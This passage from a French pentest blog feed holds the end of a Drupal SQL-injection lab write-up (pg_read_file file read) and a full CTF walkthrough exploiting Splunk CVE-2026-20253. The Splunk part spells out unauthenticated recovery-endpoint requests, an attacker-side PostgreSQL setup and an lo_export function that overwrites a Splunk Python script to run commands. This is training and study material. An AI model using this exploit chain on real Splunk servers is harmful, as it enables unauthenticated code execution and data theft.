<p>Les options <code class="language-plaintext highlighter-rouge">--version</code> et <code class="language-plaintext highlighter-rouge">--dbinfo</code>, puis <code class="language-plaintext highlighter-rouge">SELECT current_user</code>, précisent le contexte de base de données. La détection de PostgreSQL 18.4 confirme le prérequis technique signalé dans l’avis Drupal. L’utilisateur <code class="language-plaintext highlighter-rouge">drupal</code> identifie le rôle SQL effectif, mais ne signifie pas que ce rôle possède les droits système de <code class="language-plaintext highlighter-rouge">root</code>.</p>

<p>Enfin, la requête <code class="language-plaintext highlighter-rouge">pg_read_file('/home/local.txt')</code> s’appuie sur l’injection SQL confirmée pour tester l’impact au niveau du système de fichiers. Le résultat a livré le drapeau local et l’interface du lab a ensuite affiché <strong>1/1 drapeau capturé et 50/50 points</strong>. Les commandes proposées pour consulter <code class="language-plaintext highlighter-rouge">/proc</code> constituent une étape d’énumération distincte : elles pourraient aider à identifier les processus visibles par PostgreSQL, mais leur exécution n’est pas confirmée dans les éléments reçus.</p>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Un endpoint <strong>JSON:API</strong> exposé sans authentification sur une application CMS peut constituer une surface d’attaque aussi critique qu’un formulaire web classique — tester systématiquement ces endpoints lors d’une reconnaissance Drupal/Wordpress modernes.</li>
  <li>L’identification du rôle SQL effectif (<code class="language-plaintext highlighter-rouge">current_user</code>) ne doit jamais être confondue avec un accès système complet : un rôle PostgreSQL non privilégié peut malgré tout lire des fichiers arbitraires via <code class="language-plaintext highlighter-rouge">pg_read_file</code> si les permissions du système de fichiers le permettent.</li>
  <li>Documenter explicitement les commandes <strong>proposées mais non exécutées</strong> (section 6) plutôt que de les mélanger avec des résultats confirmés est une bonne pratique qui évite toute confusion sur l’état réel de l’investigation.</li>
  <li>Une erreur réseau sur un outil annexe (ici, <code class="language-plaintext highlighter-rouge">pip</code> ne pouvant pas atteindre PyPI) ne doit pas être confondue avec un problème de connectivité vers la cible — toujours distinguer la chaîne d’outils locale de l’environnement testé.</li>
</ul>

<h2 id="références">Références</h2>

<ol>
  <li><a href="https://www.drupal.org/sa-core-2026-004">Avis officiel Drupal — SA-CORE-2026-004</a> : applicabilité aux installations PostgreSQL et mises à jour correctives</li>
  <li><a href="https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC">CVE-2026-9082 Drupal PoC</a> : dépôt du PoC public utilisé pour les vérifications <code class="language-plaintext highlighter-rouge">--check</code>, <code class="language-plaintext highlighter-rouge">--version</code>, <code class="language-plaintext highlighter-rouge">--dbinfo</code> et les requêtes personnalisées</li>
</ol>]]></content><author><name>Mohammed Berrahal</name></author><category term="Pentest" /><category term="Exploitation" /><category term="cve-2026-9082" /><category term="drupal" /><category term="sql-injection" /><category term="json-api" /><category term="postgresql" /><category term="lfi" /><category term="pg_read_file" /><category term="secdojo" /><category term="ctf" /><summary type="html"><![CDATA[Lab Inkwell : injection SQL non authentifiée dans Drupal 11 (CVE-2026-9082)]]></summary></entry><entry><title type="html">Lab Loghouse : RCE pré-authentification sur Splunk via PostgreSQL sidecar (CVE-2026-20253)</title><link href="https://medberrahal.github.io//pentest/exploitation/lab-Loghouse/" rel="alternate" type="text/html" title="Lab Loghouse : RCE pré-authentification sur Splunk via PostgreSQL sidecar (CVE-2026-20253)" /><published>2026-10-20T00:00:00+00:00</published><updated>2026-10-20T00:00:00+00:00</updated><id>https://medberrahal.github.io//pentest/exploitation/lab-Loghouse</id><content type="html" xml:base="https://medberrahal.github.io//pentest/exploitation/lab-Loghouse/"><![CDATA[<h1 id="lab-loghouse--exécution-de-code-à-distance-sur-splunk-via-postgresql-sidecar-cve-2026-20253">Lab Loghouse : exécution de code à distance sur Splunk via PostgreSQL sidecar (CVE-2026-20253)</h1>

<blockquote>
  <p><strong>Serveur Splunk du lab :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.115</code>
<strong>Kali utilisé pour le lab :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.114</code>
<strong>Objectif :</strong> exploiter le port web exposé de Splunk Enterprise pour exécuter du code sur le serveur, sans authentification
<strong>Résultat :</strong> ✅ RCE confirmée sous le compte <code class="language-plaintext highlighter-rouge">splunk</code>, flag récupéré dans <code class="language-plaintext highlighter-rouge">/home/local.txt</code></p>
</blockquote>

<h2 id="résultat">Résultat</h2>

<p>Le lab a permis d’obtenir une exécution de code à distance sur le serveur Splunk sous le compte système <code class="language-plaintext highlighter-rouge">splunk</code>, puis de lire le drapeau situé dans <code class="language-plaintext highlighter-rouge">/home/local.txt</code>.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_bb38f7b6_46a7_4e6d_b233_074d92b464da
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Le fichier <code class="language-plaintext highlighter-rouge">/root/proof.txt</code> n’était pas lisible par le compte <code class="language-plaintext highlighter-rouge">splunk</code> et a renvoyé <code class="language-plaintext highlighter-rouge">Permission denied</code>. Le défi indiquait un seul drapeau ; celui de <code class="language-plaintext highlighter-rouge">/home/local.txt</code> est le résultat final.</p>
</blockquote>

<blockquote>
  <p>⚠️ <strong>Avertissement :</strong> ces étapes décrivent exclusivement la machine temporaire du lab Loghouse, pour laquelle le défi autorisait explicitement l’exploitation. <strong>Ne pas les reproduire sur un système tiers.</strong></p>
</blockquote>

<h2 id="1-contexte-et-périmètre">1. Contexte et périmètre</h2>

<p>La plateforme présentait un défi « Loghouse », difficulté Basic, démarré et limité dans le temps. L’objectif annoncé était d’obtenir une exécution de code sur un serveur Splunk exposé et d’y récupérer un drapeau.</p>

<table>
  <thead>
    <tr>
      <th>Rôle</th>
      <th>Adresse</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Serveur Splunk du lab</td>
      <td><code class="language-plaintext highlighter-rouge">176.16.163.115</code></td>
    </tr>
    <tr>
      <td>Kali utilisé pour le lab</td>
      <td><code class="language-plaintext highlighter-rouge">176.16.163.114</code></td>
    </tr>
  </tbody>
</table>

<p>La vulnérabilité <strong>CVE-2026-20253</strong> porte sur un endpoint du service PostgreSQL sidecar de Splunk Enterprise qui permet, sans authentification valide, des opérations de création ou troncation de fichiers. L’avis Splunk indique les versions concernées comme Splunk Enterprise <strong>10.0.0–10.0.6</strong> et <strong>10.2.0–10.2.3</strong> ; les versions corrigées sont <strong>10.0.7</strong> et <strong>10.2.4</strong> ou ultérieures. <a href="https://advisory.splunk.com/advisories/SVD-2026-0603">Avis Splunk</a></p>

<h2 id="2-reconnaissance-réseau">2. Reconnaissance réseau</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 176.16.163.115
</code></pre></div></div>

<p>Extrait utile de la sortie :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 10.2p1 Ubuntu 2ubuntu3.2
5432/tcp open  postgresql PostgreSQL DB 17.0 - 17.8
8000/tcp open  http       Splunkd httpd
8089/tcp open  ssl/http   Splunkd httpd
</code></pre></div></div>

<p>Les ports 8000 et 8089 répondaient donc comme des services Splunk ; PostgreSQL était également joignable sur 5432.</p>

<blockquote>
  <p>ℹ️ La version PostgreSQL affichée par Nmap est une identification du service, <strong>pas</strong> la version de Splunk. Le scan, à lui seul, ne confirmait donc pas la vulnérabilité.</p>
</blockquote>

<p>Une requête d’information à l’API Splunk sur le port 8089 a renvoyé :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sk</span> <span class="nt">--max-time</span> 5 <span class="se">\</span>
  <span class="s1">'https://176.16.163.115:8089/services/server/info?output_mode=json'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"messages":[{"type":"ERROR","text":"Unauthorized"}]}
</code></pre></div></div>

<p>Cela établissait que cet endpoint exigeait une authentification ; ce n’était ni une preuve ni une réfutation de CVE-2026-20253.</p>

<blockquote>
  <p>💡 Une tentative d’utiliser le script Nmap <code class="language-plaintext highlighter-rouge">pgsql-info</code> a échoué parce que le fichier n’était pas présent dans l’installation Kali. La commande <code class="language-plaintext highlighter-rouge">ls /usr/share/nmap/scripts/pgsql*</code> n’a trouvé que <code class="language-plaintext highlighter-rouge">pgsql-brute.nse</code> ; ce dernier n’a pas été utilisé.</p>
</blockquote>

<h2 id="3-vérification-de-lendpoint-vulnérable">3. Vérification de l’endpoint vulnérable</h2>

<p>Le chemin de récupération PostgreSQL relayé par Splunk Web a été testé sur le port 8000 :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">--max-time</span> 10 <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="s1">'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Authorization: Basic Og=='</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"database":"search_metadata","backupFile":"ctf-probe"}'</span>
</code></pre></div></div>

<p>Réponse :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
{"backupFile":"ctf-probe","database":"search_metadata","id":"b3c298b1-72f8-4a0a-b511-d158ef5554ce","state":"BackupPending"}
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Basic Og==</code> correspond à des identifiants Basic vides (<code class="language-plaintext highlighter-rouge">:</code>). L’acceptation de la requête avec <code class="language-plaintext highlighter-rouge">200 OK</code> et un identifiant d’opération indiquait que le point de récupération était accessible <strong>sans identifiants valides</strong>. La requête de sonde a pu créer un fichier vide sur la cible.</p>

<h2 id="4-préparation-dun-postgresql-de-retour-sur-kali">4. Préparation d’un PostgreSQL de retour sur Kali</h2>

<p>La chaîne publiée utilise une connexion sortante du serveur Splunk vers une base contrôlée par l’opérateur.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip <span class="nt">-4</span> <span class="nt">-br</span> addr
ip route get 176.16.163.115
</code></pre></div></div>

<p>Sortie utile :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eth0 UP 176.16.163.114/16
176.16.163.115 dev eth0 src 176.16.163.114
</code></pre></div></div>

<p>PostgreSQL devait être installé sur Kali pour recevoir depuis Splunk la connexion sortante utilisée par l’étape de sauvegarde :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> postgresql
pg_lsclusters
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sudo apt update</code> actualise l’index local des paquets. <code class="language-plaintext highlighter-rouge">sudo apt install -y postgresql</code> installe le serveur PostgreSQL ainsi que ses outils ; <code class="language-plaintext highlighter-rouge">-y</code> accepte automatiquement la confirmation d’installation. <code class="language-plaintext highlighter-rouge">pg_lsclusters</code> liste les clusters PostgreSQL gérés par les outils Debian/Kali, avec leur version, leur nom, leur port, leur état et leurs chemins de données et de journaux.</p>

<p>PostgreSQL a ensuite été configuré pour écouter uniquement sur cette interface et accepter le compte du lab uniquement depuis la cible :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">PGVER</span><span class="o">=</span><span class="si">$(</span>pg_lsclusters <span class="nt">--no-header</span> | <span class="nb">awk</span> <span class="s1">'NR==1 {print $1}'</span><span class="si">)</span>
<span class="nv">CONF</span><span class="o">=</span><span class="s2">"/etc/postgresql/</span><span class="nv">$PGVER</span><span class="s2">/main/postgresql.conf"</span>
<span class="nv">HBA</span><span class="o">=</span><span class="s2">"/etc/postgresql/</span><span class="nv">$PGVER</span><span class="s2">/main/pg_hba.conf"</span>

<span class="nb">sudo sed</span> <span class="nt">-i</span> <span class="nt">-E</span> <span class="se">\</span>
  <span class="s2">"s/^#?[[:space:]]*listen_addresses[[:space:]]*=.*/listen_addresses = '176.16.163.114'/"</span> <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$CONF</span><span class="s2">"</span>

<span class="nb">echo</span> <span class="s1">'host test test 176.16.163.115/32 trust'</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> <span class="s2">"</span><span class="nv">$HBA</span><span class="s2">"</span>
<span class="nb">sudo </span>pg_ctlcluster <span class="s2">"</span><span class="nv">$PGVER</span><span class="s2">"</span> main restart
<span class="nb">sudo </span>ss <span class="nt">-lntp</span> | <span class="nb">grep</span> <span class="s1">':5432'</span>
</code></pre></div></div>

<p>Sortie observée :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>host test test 176.16.163.115/32 trust
LISTEN ... 176.16.163.114:5432 ... users:("postgres",...)
</code></pre></div></div>

<p>La règle <code class="language-plaintext highlighter-rouge">pg_hba.conf</code> limite l’authentification sans mot de passe à la base <code class="language-plaintext highlighter-rouge">test</code>, au rôle <code class="language-plaintext highlighter-rouge">test</code> et à la source <code class="language-plaintext highlighter-rouge">176.16.163.115/32</code>. Le compte et la base ont été créés :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-u</span> postgres psql <span class="nt">-v</span> <span class="nv">ON_ERROR_STOP</span><span class="o">=</span>1 <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">SQL</span><span class="sh">'
CREATE ROLE test LOGIN;
CREATE DATABASE test OWNER test;
</span><span class="no">SQL
</span></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CREATE ROLE
CREATE DATABASE
</code></pre></div></div>

<h2 id="5-construction-du-dump-et-de-la-fonction-décriture">5. Construction du dump et de la fonction d’écriture</h2>

<p>Le principe technique était de préparer dans la base locale une fonction PostgreSQL appelée pendant la restauration sur Splunk. Cette fonction encode le script Python en contenu binaire puis utilise <code class="language-plaintext highlighter-rouge">lo_export</code> pour écrire ce contenu dans le fichier Python exécuté périodiquement par l’installation Splunk.</p>

<p>Les droits d’exécution nécessaires aux fonctions de gros objets ont été accordés au rôle <code class="language-plaintext highlighter-rouge">test</code> :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-u</span> postgres psql <span class="nt">-d</span> <span class="nb">test</span> <span class="nt">-v</span> <span class="nv">ON_ERROR_STOP</span><span class="o">=</span>1 <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">SQL</span><span class="sh">'
GRANT EXECUTE ON FUNCTION lo_from_bytea(oid, bytea) TO test;
GRANT EXECUTE ON FUNCTION lo_export(oid, text) TO test;
</span><span class="no">SQL
</span></code></pre></div></div>

<p>Le premier payload servait uniquement à confirmer le contexte d’exécution en écrivant le résultat de <code class="language-plaintext highlighter-rouge">id</code> dans un fichier statique de Splunk :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">OUT</span><span class="o">=</span><span class="s1">'/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py'</span>
<span class="nv">PAYLOAD</span><span class="o">=</span><span class="s1">'import os; os.system("id &gt; /opt/splunk/share/splunk/search_mrsparkle/exposed/ctf-proof.txt")'</span>
<span class="nv">HEX</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%s'</span> <span class="s2">"</span><span class="nv">$PAYLOAD</span><span class="s2">"</span> | <span class="nb">od</span> <span class="nt">-An</span> <span class="nt">-v</span> <span class="nt">-tx1</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">' \n'</span><span class="si">)</span>
</code></pre></div></div>

<p>Le SQL local créait une fonction avec un effet de bord déclenché par l’insertion dans une table :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-u</span> postgres psql <span class="nt">-d</span> <span class="nb">test</span> <span class="nt">-v</span> <span class="nv">ON_ERROR_STOP</span><span class="o">=</span>1 <span class="o">&lt;&lt;</span><span class="no">SQL</span><span class="sh">
SET ROLE test;
DROP TABLE IF EXISTS public.ctf_poc;
DROP FUNCTION IF EXISTS public.ctf_write(integer);

CREATE FUNCTION public.ctf_write(i integer) RETURNS boolean
LANGUAGE plpgsql VOLATILE SECURITY DEFINER AS </span><span class="se">\$\$</span><span class="sh">
DECLARE l oid;
BEGIN
  l := lo_from_bytea(0, '</span><span class="se">\\</span><span class="sh">x</span><span class="k">${</span><span class="nv">HEX</span><span class="k">}</span><span class="sh">'::bytea);
  PERFORM lo_export(l, '</span><span class="k">${</span><span class="nv">OUT</span><span class="k">}</span><span class="sh">');
  RETURN true;
END
</span><span class="se">\$\$</span><span class="sh">;

CREATE TABLE public.ctf_poc (i integer CHECK (public.ctf_write(i)));
INSERT INTO public.ctf_poc VALUES (1);
</span><span class="no">SQL
</span></code></pre></div></div>

<p>Dans ce bloc, <code class="language-plaintext highlighter-rouge">HEX</code> contient les octets du script Python ; <code class="language-plaintext highlighter-rouge">OUT</code> est le chemin du <strong>script côté Splunk qui doit être remplacé</strong>. Le <code class="language-plaintext highlighter-rouge">CHECK</code> déclenche la fonction lors de l’insertion/restauration de la ligne. <code class="language-plaintext highlighter-rouge">lo_export</code> écrit alors le contenu contrôlé dans le fichier cible.</p>

<h2 id="6-sauvegarde-contrôlée-par-splunk">6. Sauvegarde contrôlée par Splunk</h2>

<p>L’endpoint <code class="language-plaintext highlighter-rouge">backup</code> a été utilisé pour demander au serveur Splunk d’exécuter son <code class="language-plaintext highlighter-rouge">pg_dump</code> vers la base locale de Kali.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">B</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-sS</span> <span class="nt">--max-time</span> 15 <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="s1">'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Authorization: Basic dGVzdDo='</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"database":"hostaddr=176.16.163.114 port=5432","backupFile":"/tmp/ctf-poc.dump"}'</span><span class="si">)</span>

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$B</span><span class="s2">"</span>
<span class="nv">BID</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%s'</span> <span class="s2">"</span><span class="nv">$B</span><span class="s2">"</span> | jq <span class="nt">-r</span> <span class="s1">'.id'</span><span class="si">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dGVzdDo=</code> est l’encodage Base64 de <code class="language-plaintext highlighter-rouge">test:</code>. La sortie initiale contenait :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"backupFile"</span><span class="p">:</span><span class="s2">"/tmp/ctf-poc.dump"</span><span class="p">,</span><span class="nl">"database"</span><span class="p">:</span><span class="s2">"hostaddr=176.16.163.114 port=5432"</span><span class="p">,</span><span class="nl">"id"</span><span class="p">:</span><span class="s2">"79d6653f-1f04-4b0f-b86f-3490747413d0"</span><span class="p">,</span><span class="nl">"state"</span><span class="p">:</span><span class="s2">"BackupPending"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Le statut a été interrogé avec l’identifiant renvoyé :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="se">\</span>
  <span class="s2">"http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/status/</span><span class="nv">$BID</span><span class="s2">"</span>
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"backupFile"</span><span class="p">:</span><span class="s2">"/tmp/ctf-poc.dump"</span><span class="p">,</span><span class="nl">"database"</span><span class="p">:</span><span class="s2">"hostaddr=176.16.163.114 port=5432"</span><span class="p">,</span><span class="nl">"id"</span><span class="p">:</span><span class="s2">"79d6653f-1f04-4b0f-b86f-3490747413d0"</span><span class="p">,</span><span class="nl">"state"</span><span class="p">:</span><span class="s2">"BackupComplete"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>La sauvegarde a donc réussi. Elle a déposé sur le Splunk un dump contenant la fonction et les objets préparés dans la base <code class="language-plaintext highlighter-rouge">test</code> sur Kali.</p>

<h2 id="7-restauration-et-preuve-dexécution">7. Restauration et preuve d’exécution</h2>

<p>La requête de restauration a demandé au Splunk de recharger le dump dans sa base locale <code class="language-plaintext highlighter-rouge">template1</code>, en utilisant le fichier <code class="language-plaintext highlighter-rouge">.pgpass</code> de l’installation :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">R</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-sS</span> <span class="nt">--max-time</span> 20 <span class="se">\</span>
  <span class="nt">-X</span> POST <span class="s1">'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/restore'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Authorization: Basic cG9zdGdyZXNfYWRtaW46'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/ctf-poc.dump"}'</span><span class="si">)</span>

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$R</span><span class="s2">"</span>
<span class="nv">RID</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%s'</span> <span class="s2">"</span><span class="nv">$R</span><span class="s2">"</span> | jq <span class="nt">-r</span> <span class="s1">'.id'</span><span class="si">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cG9zdGdyZXNfYWRtaW46</code> correspond à <code class="language-plaintext highlighter-rouge">postgres_admin:</code>. L’opération a renvoyé un identifiant d’état <code class="language-plaintext highlighter-rouge">RestorePending</code>, puis <code class="language-plaintext highlighter-rouge">RestoreFailed</code>.</p>

<blockquote>
  <p>⚠️ <strong>Point important :</strong> malgré ce statut final, l’effet utile s’était produit avant l’échec de la restauration : l’interface statique contenait le marqueur créé par le script.</p>
</blockquote>

<p>Les fichiers placés dans <code class="language-plaintext highlighter-rouge">$SPLUNK_HOME/share/splunk/search_mrsparkle/exposed</code> sont servis par Splunk Web sous <code class="language-plaintext highlighter-rouge">/static</code>, d’où cette vérification :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-iL</span> <span class="nt">--max-time</span> 10 <span class="se">\</span>
  <span class="s1">'http://176.16.163.115:8000/static/ctf-proof.txt'</span>
</code></pre></div></div>

<p>Corps de la réponse :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=999(splunk) gid=986(splunk) groups=986(splunk)
</code></pre></div></div>

<p>Cela a confirmé l’exécution de commandes sur la machine cible sous l’utilisateur <code class="language-plaintext highlighter-rouge">splunk</code>. La chaîne d’attaque et l’emplacement du script choisi sont également décrits dans <a href="https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/">l’analyse technique watchTowr</a>.</p>

<h2 id="8-récupération-du-drapeau">8. Récupération du drapeau</h2>

<p>Une première tentative de lecture de <code class="language-plaintext highlighter-rouge">/local.txt</code> a échoué parce que ce chemin n’existait pas :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Erreur de lecture : [Errno 2] No such file or directory: '/local.txt'
</code></pre></div></div>

<p>L’indice de la plateforme donnait les chemins corrects : <code class="language-plaintext highlighter-rouge">/home/local.txt</code> et <code class="language-plaintext highlighter-rouge">/root/proof.txt</code>. Le script a ensuite été remplacé par un payload lisant ces deux chemins et écrivant leurs contenus ou erreurs dans le fichier statique <code class="language-plaintext highlighter-rouge">ctf-results.txt</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">paths</span> <span class="o">=</span> <span class="p">[</span><span class="s">"/home/local.txt"</span><span class="p">,</span> <span class="s">"/root/proof.txt"</span><span class="p">]</span>
<span class="n">out</span> <span class="o">=</span> <span class="s">"/opt/splunk/share/splunk/search_mrsparkle/exposed/ctf-results.txt"</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">out</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">dest</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">paths</span><span class="p">:</span>
        <span class="n">dest</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">"=== </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s"> ===</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"r"</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span> <span class="k">as</span> <span class="n">src</span><span class="p">:</span>
                <span class="n">dest</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">src</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">))</span>
        <span class="k">except</span> <span class="nb">OSError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">dest</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="nb">type</span><span class="p">(</span><span class="n">e</span><span class="p">).</span><span class="n">__name__</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">dest</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<blockquote>
  <p>💡 Le payload a été converti en hexadécimal et encodé dans la même fonction PostgreSQL. Il fallait ensuite refaire <strong>les deux opérations</strong> — sauvegarde puis restauration — avec un nouveau nom de dump, pour qu’un nouveau script soit écrit et exécuté.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-iL</span> <span class="nt">--max-time</span> 10 <span class="se">\</span>
  <span class="s2">"http://176.16.163.115:8000/static/ctf-results.txt?t=</span><span class="si">$(</span><span class="nb">date</span> +%s<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>Résultat obtenu :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=== /home/local.txt ===
flag_bb38f7b6_46a7_4e6d_b233_074d92b464da

=== /root/proof.txt ===
PermissionError: [Errno 13] Permission denied: '/root/proof.txt'
</code></pre></div></div>

<p>Le drapeau a donc été lu depuis <code class="language-plaintext highlighter-rouge">/home/local.txt</code>. L’échec sur <code class="language-plaintext highlighter-rouge">/root/proof.txt</code> correspond aux permissions du compte <code class="language-plaintext highlighter-rouge">splunk</code> ; il n’était pas nécessaire d’obtenir les privilèges root pour valider le drapeau unique du défi.</p>

<h2 id="9-erreurs-et-points-de-diagnostic-importants">9. Erreurs et points de diagnostic importants</h2>

<table>
  <thead>
    <tr>
      <th>Point</th>
      <th>Explication</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>La version PostgreSQL détectée n’était pas la version Splunk</td>
      <td>Le scan réseau confirmait des services exposés, mais pas l’applicabilité exacte de la CVE</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/services/server/info</code> renvoyait <code class="language-plaintext highlighter-rouge">Unauthorized</code></td>
      <td>Cet endpoint d’information exigeait une authentification, alors que l’endpoint de récupération testé était accessible sans identifiants valides</td>
    </tr>
    <tr>
      <td>Le script Nmap <code class="language-plaintext highlighter-rouge">pgsql-info</code> était absent</td>
      <td>L’erreur provenait des scripts installés localement, non de la cible</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RestoreFailed</code> n’a pas empêché la preuve d’exécution</td>
      <td>Dans ce cas précis, le marqueur a été écrit et le code a été exécuté avant que l’opération de restauration ne termine en échec. Il fallait vérifier l’effet concret, pas seulement l’état final</td>
    </tr>
    <tr>
      <td>Ne pas confondre les deux variables de chemin</td>
      <td><code class="language-plaintext highlighter-rouge">OUT</code> dans la commande SQL est le chemin du fichier Python à écrire/exécuter sur Splunk. La variable Python <code class="language-plaintext highlighter-rouge">out</code> est le fichier statique qui reçoit les résultats et que l’on lit via HTTP. Une erreur temporaire a fait écrire le code source dans <code class="language-plaintext highlighter-rouge">ctf-results.txt</code> au lieu du script Python</td>
    </tr>
    <tr>
      <td>Un ancien résultat statique peut être servi par cache</td>
      <td>Vérifier l’en-tête <code class="language-plaintext highlighter-rouge">Last-Modified</code> et ajouter <code class="language-plaintext highlighter-rouge">?t=$(date +%s)</code> à l’URL de lecture aide à distinguer le nouveau résultat de l’ancien</td>
    </tr>
    <tr>
      <td>Changer le payload ne suffit pas</td>
      <td>Après modification de la fonction sur Kali, il faut créer un dump frais puis le faire restaurer par Splunk pour que le nouveau contenu atteigne et s’exécute sur la cible</td>
    </tr>
    <tr>
